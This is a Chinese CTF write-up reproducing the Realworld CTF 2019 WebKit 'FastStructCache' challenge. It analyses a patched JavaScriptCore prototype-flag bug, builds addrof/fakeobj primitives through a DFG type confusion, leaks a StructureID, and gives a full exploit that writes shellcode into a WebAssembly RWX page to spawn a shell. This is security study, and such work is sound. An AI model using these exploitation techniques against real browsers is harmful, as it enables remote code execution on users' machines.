Realworld ctf 2019 final webkit FastStructCache 复现-安全客

学习 Webkit 的漏洞利用，19年realworld ctf final 出了一道 webkit 的题目 FastStructCache, 这里记录一下复现的过程。

完整的漏洞利用链需要逃逸webkit的沙箱，我手上木有mac，虚拟机装mac测试又是各种的问题，各种倒腾之后放弃了后半部的沙箱逃逸的利用，暂时只做了前面 jsc 部分的利用分析，等什么时候搞台mac之后回过头来看 🙁

环境配置

题目的原始文件可以从这里下载，复现的环境是在 ubuntu 1804 下，

webkit 版本是 commit 5ed80f740ac7b67ca9ddc43aae401bacc685c5e4, 下载源码之后打上对应的patch然后编译出 jsc 就行了。但是我编译 debug 版本的时候跑不起来，会提示structureID 错误之类的，编译成Release版本就没有问题。调试用的 gdb

我自己复现用到的文件都放在了这里, 包括存在漏洞和没有漏洞的两个版本，主要是方便自己运行比较。

漏洞分析

patch 分析

好的，我们看看给出的patch, 题目在Source/JavaScriptCore/runtime 下新创建了两个文件FastStructureCache.cpp和FastStructureCache, 添加了一个名为FastStructureCache 的类

--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.cpp
@@ -0,0 +1,10 @@
+#include "FastStructureCache.h"
+
+namespace JSC {
+
+FastStructureCache::FastStructureCache(VM& vm, Structure* structure)
+    : JSNonFinalObject(vm, structure)
+{
+}
+
+}

这个类只有一个createStructureFastPath 方法, 初始化的时候会创建fastCacheSizeMax == 16 个 Structure 对象，保存在fastCacheStructure 里面，后面每次调用createStructureFastPath 直接就从这个cache 里面拿一个，如果拿完了的话就用Structure::create 新创建一个。

--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.h
//...
+class FastStructureCache final : public JSNonFinalObject {
+public:
+    using Base = JSNonFinalObject;
+    static Structure** fastCacheStructure;
+    static uint64_t fastCacheSizeMax;
+    static uint64_t fastCacheSizeUsed;
+
+    static Structure* createStructureFastPath(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo)
+    {    // 初始化 --> fastCacheSizeMax == 16
+        if (fastCacheStructure == NULL) {
+            fastCacheStructure = new Structure*[fastCacheSizeMax];
+            uint64_t idx = 0;
+            while (idx < fastCacheSizeMax) {
+                // Later, we will set the correct globalObject and prototype
+                fastCacheStructure[idx] = Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+                idx++;
+            }
+        }
+        if (fastCacheSizeUsed < fastCacheSizeMax) {
+            Structure* return_value = fastCacheStructure[fastCacheSizeUsed];
+            // set the correct global object and prototype
+            return_value->setPrototypeWithoutTransition(vm, prototype);
+            return_value->setGlobalObject(vm, globalObject);
+            fastCacheSizeUsed += 1;
+            return return_value;
+        }
+        return Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+    }
+
+protected:
+    FastStructureCache(VM&, Structure* structure);
+};

RegExpObject 和RegExpPrototype 两个对象createStructure 都换成了用FastStructureCache::createStructureFastPath 来

--- a/Source/JavaScriptCore/runtime/RegExpObject.h
+++ b/Source/JavaScriptCore/runtime/RegExpObject.h
//...
 class RegExpObject final : public JSNonFinalObject {
 //...
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
     {
-        return Structure::create(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
+        return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
     }

//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp

+Structure** FastStructureCache::fastCacheStructure = NULL;
+uint64_t FastStructureCache::fastCacheSizeMax = 16;
+uint64_t FastStructureCache::fastCacheSizeUsed = 0;

//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.h
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.h

     static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
     {
-        return Structure::create(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
+        return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
     }

总的来说就是预先分配了16个 Structure 对象，RegExpPrototype 和 RegExpObject 要创建的时候可以从里面拿。

漏洞分析

漏洞就发生在FastStructureCache::createStructureFastPath 的实现上啦，在获取Structure 对象的时候, 直接用setPrototypeWithoutTransition 设置prototype

return_value->setPrototypeWithoutTransition(vm, prototype);
 return_value->setGlobalObject(vm, globalObject);

原版本的Structure::create 实现在Source/JavaScriptCore/runtime/StructureInlines.h#L39 上

inline Structure* Structure::create(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingModeIncludingHistory, unsigned inlineCapacity)
{
    ASSERT(vm.structureStructure);
    ASSERT(classInfo);
    if (auto* object = prototype.getObject()) {
        ASSERT(!object->anyObjectInChainMayInterceptIndexedAccesses(vm) || hasSlowPutArrayStorage(indexingModeIncludingHistory) || !hasIndexedProperties(indexingModeIncludingHistory));
        object->didBecomePrototype();
    }

    Structure* structure = new (NotNull, allocateCell<Structure>(vm.heap)) Structure(vm, globalObject, prototype, typeInfo, classInfo, indexingModeIncludingHistory, inlineCapacity);
    structure->finishCreation(vm);
    return structure;
}

在创建的时候会检查传进来的 prototype 是不是一个对象，如果是的话，需要调用didBecomePrototype 给这个对象设置一个flags，表示它已经是某个对象的prototype 了，如a=[1.1] ; b = [1.1]; ，a.__proto__ = b 的时候， b 就会调用didBecomePrototype ，它的实现如下:

//..  Source/JavaScriptCore/runtime/JSObjectInlines.h
inline void JSObject::didBecomePrototype()      
{                                               
    setPerCellBit(true);                        
}                                               
// Source/JavaScriptCore/runtime/JSCellInlines.h
inline void JSCell::setPerCellBit(bool value)                                       
{                                                                                   
    if (value == perCellBit())                                                      
        return;                                                                                                                                                 
    if (value)                                                                      
        m_flags |= static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);      
    else                                                                            
        m_flags &= ~static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);     
}
// Source/JavaScriptCore/runtime/JSTypeInfo.h
static constexpr unsigned TypeInfoPerCellBit = 1 << 7;

m_flags 是 JSCell 的倒数第二个byte, 1<<7 = 0x80 如下面的0x0180170000001715 倒数第二个 byte 就是 0x80，表示它可能是某个对象的prototype, 0x01001700000009e3 没有设置就不是啦。

0x7fffb26d8020: 0x01001700000009e3      0x00007fe0197f0208 
0x7fffb26d8030: 0x0180170000001715      0x00007fe0197fc5e8

FastStructureCache 初始化的时候都是使用的同一个prototype 来创建Stucture 对象，后面要用的时候也是直接用setPrototypeWithoutTransition 来设置，并检查调用didBecomePrototype 的过程，所以假如还是一样a=[1.1] ; b = [1.1]; ，a.__proto__ = b ，执行结束之后 b JSCell 的 m_flags 并不会|0x80, 后续运行就可能会打破一些假设。

RegExp Structure 创建过程

在看实际的利用之前，我们先看看 RegExpObject 的 Structure 的创建过程，具体的细节我还不是十分的清楚，只能记录一些自己觉得比较重要的点。

找一下RegExpObject::createStructure 和RegExpPrototype::createStructure 的调用点，发现他们只在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L709 调用过

% grep -iR 'RegExpObject::create' *    
JSGlobalObject.cpp:    m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));
RegExpConstructor.cpp:    return RegExpObject::create(vm, structure, regExp);
RegExpConstructor.cpp:        return RegExpObject::create(vm, structure, regExp);
% grep -iR 'RegExpPrototype::create' *    
JSGlobalObject.cpp:    m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get())));
%

在JSGlobalObject::init 初始化的时候，首先是调用RegExpPrototype::createStructure 这个时候FastStructureCache 完成初始化, 并返回fastCacheStructure[0], 保存在 m_regExpPrototype。接着调用RegExpObject::createStructure, 执行完会返回fastCacheStructure[1]保存在 m_regExpStructure, 传入的prototype 参数是前面创建的m_regExpPrototype, create 完成之后，并不会给它的prototype 设置setPerCellBit(true), 虽然它已经是RegExpObject 的prototype 。

void JSGlobalObject::init(VM& vm){
m_objectPrototype.get()->didBecomePrototype();
//.....
m_regExpPrototype.set(vm, this, RegExpPrototype::create(vm, this, RegExpPrototype::createStructure(vm, this, m_objectPrototype.get()))); 
m_regExpStructure.set(vm, this, RegExpObject::createStructure(vm, this, m_regExpPrototype.get()));                                       
m_regExpMatchesArrayStructure.set(vm, this, createRegExpMatchesArrayStructure(vm, this));    
}

我们具体调试看看, 在FastStructureCache::createStructureFastPath 下个断点，跟一下内存

b FastStructureCache::createStructureFastPath

找到 FastCacheStructure 保存的地方，它是在 heap 内存上, 创建了 16 个 Structure 对象

pwndbg> vmmap 0x5555555a6960
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555594000     0x5555555b5000 rw-p    21000 0      [heap]
pwndbg> x/20gx 0x5555555a6960
0x5555555a6960: 0x00007fffb26f2060      0x00007fffb26f20d0
0x5555555a6970: 0x00007fffb26f2140      0x00007fffb26f21b0
0x5555555a6980: 0x00007fffb26f2220      0x00007fffb26f2290
0x5555555a6990: 0x00007fffb26f2300      0x00007fffb26f2370
0x5555555a69a0: 0x00007fffb26f23e0      0x00007fffb26f2450
0x5555555a69b0: 0x00007fffb26f24c0      0x00007fffb26f2530
0x5555555a69c0: 0x00007fffb26f25a0      0x00007fffb26f2610
0x5555555a69d0: 0x00007fffb26f2680      0x00007fffb26f26f0
0x5555555a69e0: 0x0000000000000000      0x000000000000e621
0x5555555a69f0: 0x0000000000000000      0x0000000000000000

第一次调用RegExpPrototype::createStructure , 会拿到第一个Structure, 也就是0x00007fffb26f2060 这个地址, 每个变量对应的位置可以看看Source/JavaScriptCore/runtime/Structure.h

pwndbg> x/20gx 0x00007fffb26f2060
0x7fffb26f2060: 0x0100000000002e74      0x0100170000007a64
                                     //m_globalObject
0x7fffb26f2070: 0x0000001c00000000      0x00007fffb26e0000
               //m_prototype
0x7fffb26f2080: 0x00007fffb26d8000      0x0000000000000000
0x7fffb26f2090: 0x0000000000000000      0x0000000000000000
               // m_classInfo
0x7fffb26f20a0: 0x00007ffff7d95b80      0x0000000000000001
0x7fffb26f20b0: 0x00007fffb26cc060      0x0000000000000003
0x7fffb26f20c0: 0x243e606800000074      0x0000000000000000
0x7fffb26f20d0: 0x0100000000002e74      0x0100170000007baa

创建的时候传递给RegExpPrototype 的prototype 是m_objectPrototype, 它默认是设置了TypeInfoPerCellBit 的

pwndbg> x/20gx 0x00007fffb26d8000                                                                     
0x7fffb26d8000: 0x01801700000068d5      0x00007fe00dcf4088                                           
0x7fffb26d8010: 0x0188240100007056      0x00007fe00dcec208

然后是RegExpObject::createStructure ，它会拿到第二个Structure

pwndbg> x/20gx 0x00007fffb26f20d0
0x7fffb26f20d0: 0x0100000000002e74      0x0100170000007baa
                                    //m_globalObject
0x7fffb26f20e0: 0x0000002000000000      0x00007fffb26e0000
               //m_prototype
0x7fffb26f20f0: 0x00007fffb26d8020      0x0000000000000000
0x7fffb26f2100: 0x0000000000000000      0x0000000000000000
                //m_classInfo
0x7fffb26f2110: 0x00007ffff7d95b80      0x0000000000000001
0x7fffb26f2120: 0x0000000000000000      0x0000000000000003
0x7fffb26f2130: 0x00000000ffffffff      0x0000000000000000
0x7fffb26f2140: 0x0100000000002e74      0x0100170000007c6e
0x7fffb26f2150: 0x0000002000000000      0x00007fffb26e0000

看一下它的prototype 地址0x00007fffb26d8020 ，和我们分析的一样，它并没有设置TypeInfoPerCellBit

pwndbg> x/20gx 0x00007fffb26d8020
0x7fffb26d8020: 0x0100170000007a64      0x00007fe00dcf0208
0x7fffb26d8030: 0x0180170000008b3f      0x00007fe00dcfc5e8

后续创建RegExp 对象的时候都是使用一开始创建的这个Structure(0x7fffb26f20d0), 也就是FastCacheStructure[1], 其他的貌似不会用到，我也木有找到可以重新调用createStructure 的点，但是当前得到的信息已经足够了，我们继续看看怎么样利用

>>> a=new RegExp()
/(?:)/
>>> describe(a)
Object: 0x7fffb26e8100 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 53331

漏洞利用

18年的时候lokihardt 提交了一个Proxy 对象相关的洞，里面提到的一个漏洞利用的思路可以用到这道题目上面来。

jsc 的native对象不允许在prototype 上设置Proxy ，例如有一个对象a= [1.1,2.2], 然后执行a.__proto__=new Proxy({},{}), 这时候会调用JSObject::setPrototypeDirect 函数

void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
    ASSERT(prototype);
    // prototype == new Proxy({},{})
    if (prototype.isObject())
        prototype.asCell()->didBecomePrototype();

    if (structure(vm)->hasMonoProto()) {
        DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
        Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
        setStructure(vm, newStructure);
    } else
        putDirect(vm, knownPolyProtoOffset, prototype);

    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
        return;

    if (mayBePrototype()) {
        structure(vm)->globalObject()->haveABadTime(vm);
        return;
    }

    if (!hasIndexedProperties(indexingType()))
        return;

    if (shouldUseSlowPut(indexingType()))
        return;

    switchToSlowPutArrayStorage(vm);
}

Proxy 对象会设置TypeInfoPerCellBit, 接着后面mayBePrototype() 会判断当前JSObject 是不是一个prototype ，例如a.__proto__.__proto__ = new Proxy({}, {}), 是的话会调用haveABadTime(), 具体实现在Source/JavaScriptCore/runtime/JSGlobalObject.cpp#L1574 上, 它会找出对象的所有依赖，然后switchToSlowPutArrayStorage 都转换成ArrayWithSlowPutArrayStorage 类型

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 22114
>>> a.__proto__=new Proxy({},{})
[object Object]
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff84c8f8348 (Structure 0x7fffb26b0850:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7ffff2ac7f68, Leaf]), StructureID: 10472
>>>

结合我们前面的分析RegExpPrototype 并没有设置TypeInfoPerCellBit, 这样我们就可以在native 对象的prototype 创建一个Proxy 对象而不会触发转换成ArrayWithSlowPutArrayStorage 类型，在有漏洞和没有漏洞版本的 jsc 的测试结果如下

无漏洞版本

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 39579
>>> reg = new RegExp()
/(?:)/
>>> describe(reg)
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[RegExp, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 41496
>>> a.__proto__=reg
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179e4008 (Structure 0x7fffb26f3e20:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 59375
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 有依赖关系的 a 会被转换成 ArrayWithSlowPutArrayStorage 类型
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7fe0179fbe88 (Structure 0x7fffb26a7e20:[Array, {}, ArrayWithSlowPutArrayStorage, Proto:0x7fffb26e8120, Leaf]), StructureID: 61156
>>>

漏洞版本

>>> a=[1.1,2.2]
1.1,2.2
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010, Leaf]), StructureID: 25564
>>> reg = new RegExp()
/(?:)/
>>> describe(reg) 
Object: 0x7fffb26e8120 with butterfly (nil) (Structure 0x7fffb26f20d0:[Object, {}, NonArray, Proto:0x7fffb26d8020, Leaf]), StructureID: 27086
>>> a.__proto__=reg        
/(?:)/
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>> reg.__proto__.__proto__ = new Proxy({},{})
[object Object]
// 并没有转换成 ArrayWithSlowPutArrayStorage
>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>

在 dfg 中，当调用has 函数，也就是0 in a 这样的时候，会进入case HasIndexedProperty, 代码在Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3842

    case HasIndexedProperty: {
        ArrayMode mode = node->arrayMode();
        switch (mode.type()) {
        case Array::Int32:
        case Array::Double:
        case Array::Contiguous:
        case Array::ArrayStorage: {
            break;
        }
        default: {
            clobberWorld();
            break;
        }
        }
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }

对于不是Int32, Double, Contiguous, ArrayStorage 的对象，如前面的ArrayWithSlowPutArrayStorage 类型，会有clobberWorld 来检查对象的转换，假如类似下面的代码，在has 函数里把b[0] 改成了一个对象，进入 dfg 之后因为之前的漏洞a 仍被认为是ArrayWithDouble 类型，不会调用clobberWorld, 然后 jsc 后面就会把 b[0] 当做一个double 类型来处理，于是就有了地址泄露，同样的，我们也可以它来构造fakeobj

a= [1.1,2.2];
reg = new RegExp();
a.__proto__ = reg;
b = [1.1,2.2];
reg.__proto__.__proto__ =  new Proxy({}, { 
  has() {                                    
      b[0] = {};
    return true;
  }
});
//... --> in dfg
delete a[0];
let tmp = 0 in a;

addrof/fakeobj 构造

根据前面的分析，其实addrof 和 fakeobj 的构造思路已经有了，就是借助dfg 的时候的has函数形成一个类型混淆，参考官方writeup 给出的 poc，下面是我的实现

let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;

var global_arr = [1.1, 2.2];

const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays[i].__proto__ = regexp;
}

regexp.__proto__.__proto__ = new Proxy({}, {
  has() {
    if (jit_mode === 0) {
      global_arr[0] = leakme[0];
    }
    else if (jit_mode === 1) {
      global_arr[1] = {};
    }
    return true;
  }
});

首先创建100 个ArrayWithDouble 类型的对象，其prototype 都设置成regexp, 然后是 addrof 的实现

function addrof(obj){
    function leak_opt(arr, arr2) {
      let tmp = 0 in arr2;
      return [tmp, arr[0]];
    }
    jit_mode = 0;
    global_arr=[1.1,2.2];
    leakme[0]= obj;
    let arr = arrays.pop();
    for (let i = 0; i < 10000; i++) {
      leak_opt(global_arr, arr);
    }
    delete arr[0];
    return f2i(leak_opt(global_arr,arr)[1])
}

leak_opt 运行10000 次让它进入dfg, 传入前面创建的ArrayWithDouble 对象，delete arr[0] ，然后执行tmp = 0 in arr2; 的时候就会遍历arr 的prototype，然后调用到regexp 的 Proxy 对象，leakme[0] = obj , obj 是要泄露地址的对象，进入dfg 之后会执行global_arr[0] = leakme[0]; , 因为没有检查类型转换，所以可以直接从global_arr[0] 中读取出对象的地址。

fakeobj 的实现也是类似

function fakeobj(addr){
    function fake_opt(arr,arr2,fake_addr){
        let tmp = 0 in arr2;
        arr[1] =  fakeme;
        return tmp;
    }
    jit_mode = 1;
    global_arr = [1.1,2.2];
    let fakeme = i2f(addr);
    let arr = arrays.pop();
    for(let i=0;i<10000;i++){
        fake_opt(global_arr,arr,fakeme);
    }
    delete arr[0];
    fake_opt(global_arr,arr,fakeme);
    return global_arr[1];
}

传入一个地址，然后让fake_opt 进入dfg, dfg 里global_arr[1] 会被认为是一个对象，改成传入的地址之后就可以伪造对象啦。

StructureID randomize 绕过

addrof 和 fakeobj 构造完成之后，后续的利用基本上就都是套路了，网上找到很多利用代码，基本上就是伪造ArrayWithDouble 对象，然后改butterfly 到任意地址读写。伪造ArrayWithDouble 对象需要一个可用的 StructureID, 之前的做法是喷一堆的ArrayWithDouble 对象，然后随机拿一个，刚好这个id 是可用的拿就完事了。

题目所用的webkit 版本加上了StructureID的7-bit entropy , 简单来说就是原先的StructureID 加上了 7个bit 的随机数，跟ASLR 类似，像前面运行的时候

>>> describe(a)
Object: 0x7fffb26d8170 with butterfly 0x7ff815ee4008 (Structure 0x7fffb26b05b0:[Array, {}, ArrayWithDouble, Proto:0x7fffb26e8120, Leaf]), StructureID: 46253
>>>

StructureID 是一个很大的数46253 == 0xb4ad , 最后七个 bit 是随机生成的，这样要找可用的 id就变得更加的困难，但是1<< 7 == 128, 1/128 这个概率也不算很低，我们同样可以喷一堆的 ArrayWithDouble 对象，然后拿一个重复运行总会有命中的时候。

Blackhat EU 2019 上阿里的@ThomasKing2014 也讲了一个利用内置函数泄露StructureID 的方法

原理基本上就是并不是所有的内置函数都会用到 StructureID, 我们可以伪造这些函数用到的对象，控制它的执行流程。具体的实现如下，Function.prototype.toString.call 会打印出函数的源码，伪造一个Function 对象，然后在获取函数名称的时候(function->name(vm))会找unlinked_function_executable.m_identifier, 我们把它指向了container+0x10 也就是我们伪造的function object, 它会在container.btfly 上获取函数名对应的字符串，把它指向一个ArrayWithDouble 对象我们就可以泄露出它的StructureID 啦

var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
    var unlinked_function_executable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fake_function_executable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinked_function_executable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      btfly: {},
      pad: 0,
      m_functionExecutable: fake_function_executable,
    };

    var fake_addr = addrof(container)+0x10;
    fake_o = fakeobj(fake_addr);
    unlinked_function_executable.m_identifier = fake_o; 
    container.btfly = arr_leak; 
    var name_str = Function.prototype.toString.call(fake_o);
    return name_str.charCodeAt(9); 

}

任意地址读写 -> 写wasm getshell

有了可用的StructureID 之后，后面就是搞任意地址读写，然后写 wasm 的 rwx 段getshell 。这一部分的利用代码基本上都差不多，这里不再赘述，具体参考后面完整的exp

exp

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

function hex(addr){
    return addr.toString(16);
}

let arrays = [];
let regexp = new RegExp();
let leakme = [{}];
let jit_mode = 0;

var global_arr = [1.1, 2.2];

const MAX_ARRAYS = 100;
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays.push([1.1, 2.2]);
}
for (let i = 0; i < MAX_ARRAYS; i++) {
  arrays[i].__proto__ = regexp;
}

regexp.__proto__.__proto__ = new Proxy({}, {
  has() {
    if (jit_mode === 0) {
      global_arr[0] = leakme[0];
    }
    else if (jit_mode === 1) {
      global_arr[1] = {};
    }
    return true;
  }
});

function addrof(obj){
    function leak_opt(arr, arr2) {
      let tmp = 0 in arr2;
      return [tmp, arr[0]];
    }
    jit_mode = 0;
    global_arr=[1.1,2.2];
    leakme[0]= obj;
    let arr = arrays.pop();
    for (let i = 0; i < 10000; i++) {
      leak_opt(global_arr, arr);
    }
    delete arr[0];
    return f2i(leak_opt(global_arr,arr)[1])
}

function fakeobj(addr){
    function fake_opt(arr,arr2,fake_addr){
        let tmp = 0 in arr2;
        arr[1] =  fakeme;
        return tmp;
    }
    jit_mode = 1;
    global_arr = [1.1,2.2];
    let fakeme = i2f(addr);
    let arr = arrays.pop();
    for(let i=0;i<10000;i++){
        fake_opt(global_arr,arr,fakeme);
    }
    delete arr[0];
    fake_opt(global_arr,arr,fakeme);
    return global_arr[1];
}



let a=[13.37,13.37];
a[0]={};
print(addrof(a).toString(16))
var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
function leakid(){
    var unlinked_function_executable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fake_function_executable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinked_function_executable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      btfly: {},
      pad: 0,
      m_functionExecutable: fake_function_executable,
    };

    var fake_addr = addrof(container)+0x10;
    fake_o = fakeobj(fake_addr);
    unlinked_function_executable.m_identifier = fake_o; 
    container.btfly = arr_leak; 
    var name_str = Function.prototype.toString.call(fake_o);
    return name_str.charCodeAt(9); 

}

var victim=[13.37];
victim[0]=13.37;
victim['prop']=13.37;
victim['prop1']=13.37;
var id = leakid();

i32[0]=id;
i32[1]=0x01082307 -  0x20000;
var container={
    JSCell: f64[0],
    butterfly: victim,
};
container_addr = addrof(container);

hax = fakeobj(container_addr+0x10)
print(describe(container))

var unboxed = [1.1];
unboxed[0]=3.3;

var boxed = [{}];

print('-----')
print(describe(unboxed))
print(describe(boxed))
print('-----')
hax[1] = i2f(addrof(unboxed));
var shared = victim[1];
hax[1] = i2f(addrof(boxed))
victim[1] = shared;
print(describe(unboxed))
print(describe(boxed))



var stage2={
    addrof: function(obj){
        boxed[0]=obj;
        return f2i(unboxed[0])
    },
    fakeobj: function(addr){
        unboxed[0]=i2f(addr)
        return boxed[0]
    },
    read64:function(addr){
        hax[1]=i2f(addr+0x10)
        return this.addrof(victim.prop)
    },
    write64:function(addr,data){
        hax[1]=i2f(addr+0x10)
        victim.prop = this.fakeobj(data)
    },
    write: function(addr, shellcode) {
        var theAddr = addr;
        for(var i=0;i<shellcode.length;i++){
            this.write64(addr+i,shellcode[i].charCodeAt())
        }
    },
    pwn:function(){
        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
        var wasm_mod = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_mod);
        var f = wasm_instance.exports.main;
        var addr_f = this.addrof(f);
        var addr_p = this.read64(addr_f + 0x48);
        var addr_shellcode = this.read64(addr_p);
        print(hex(addr_f))
        print(hex(addr_shellcode))
        shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05"
        this.write(addr_shellcode, shellcode);
        f();
    },

};

stage2.pwn()

运行效果

运行效果如下

# ./jsc --useConcurrentJIT=false ./exp.js
7fffb26d8810
Object: 0x7fffb26e81e0 with butterfly (nil) (Structure 0x7fffb26709a0:[Object, {JSCell:0, butterfly:1}, NonArray, Proto:0x7fffb26d8000, Leaf]), StructureID: 38722
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f48 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
-----
Object: 0x7fffb261be40 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1d50:[Array, {}, ArrayWithDouble, Proto:0x7fffb26d8010]), StructureID: 31151
Object: 0x7fffb261be50 with butterfly 0x7fe01c1e0f28 (Structure 0x7fffb26f1dc0:[Array, {}, ArrayWithContiguous, Proto:0x7fffb26d8010]), StructureID: 31267
7ffff2ad6bc8
7fffb2a05c00
# id
uid=0(root) gid=0(root) groups=0(root)
#